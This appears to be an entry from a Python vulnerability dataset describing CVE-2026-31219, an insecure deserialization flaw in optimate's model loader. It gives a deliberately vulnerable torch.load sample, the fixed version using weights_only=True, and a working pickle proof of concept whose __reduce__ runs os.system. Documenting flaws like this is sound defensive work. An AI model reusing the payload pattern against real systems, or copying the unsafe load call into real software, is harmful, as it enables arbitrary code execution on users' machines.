CVE-2026-31219

optimate: Code execution via insecure deserialization of model files.

• CVSS 8.8
• CWE-502
• Input Validation and Sanitization
• Local

The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) is vulnerable to insecure deserialization (CWE-502). When a user provides a single model file path (e.g., .pt or .pth) via the –model command-line argument, the function loads the file using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects through the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution during deserialization on the victim's system.

CVE

CVE-2026-31219

CWE

CWE-502

CVSS base score

8.8

Published

2026-05-12

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Timing/Serialization

Code defect classification

Serialization Issues

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Local

Impact

Arbitrary Code Execution

Affected component

torch

Solution

In the `_load_model` function, modify the call to `torch.load()` to `torch.load(path, weights_only=True)`.

import argparse
import torch

def _load_model(model_path: str):
    """
    Loads a model from a given path.
    This is the vulnerable function that uses torch.load() without
    the `weights_only=True` security parameter.
    """
    # The vulnerable call allowing for arbitrary code execution
    model = torch.load(model_path)
    print("Model loaded.")
    return model

def main():
    """
    Main function to parse arguments and trigger the vulnerable model load.
    To exploit, a user would run:
    python this_script.py --model /path/to/malicious_model.pth
    """
    parser = argparse.ArgumentParser(
        description="Vulnerable model loading example."
    )
    parser.add_argument(
        "--model",
        type=str,
        required=True,
        help="Path to the model file (.pt or .pth)",
    )
    args = parser.parse_args()

    print(f"Loading model from: {args.model}")
    _load_model(args.model)

if __name__ == "__main__":
    main()

import torch
from pathlib import Path
from typing import Union

def _load_model(model_path: Union[str, Path]):
    """
    Loads a model's state dictionary from a given file path.

    This version securely loads the model by using the `weights_only=True`
    parameter. This prevents the deserialization of arbitrary Python objects
    (mitigating CWE-502) and ensures that only the model's tensors and storage
    are loaded, preventing arbitrary code execution from a malicious file.

    :param model_path: The path to the model file (e.g., .pt or .pth).
    :return: The loaded model's state dictionary.
    """
    # The fix is to set `weights_only=True` to prevent unsafe deserialization.
    model_data = torch.load(model_path, weights_only=True)
    
    # The rest of the function would continue to process the model_data,
    # for example, by loading it into a model architecture.
    # For this example, we just return the loaded data.
    return model_data

import torch
import os

class RCE:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned'
        return os.system, (cmd,)

if __name__ == '__main__':
    model = RCE()
    torch.save(model, 'malicious.pt')

@misc{vaitp:cve202631219,
  title        = {{optimate: Code execution via insecure deserialization of model files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31219},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31219/}}
}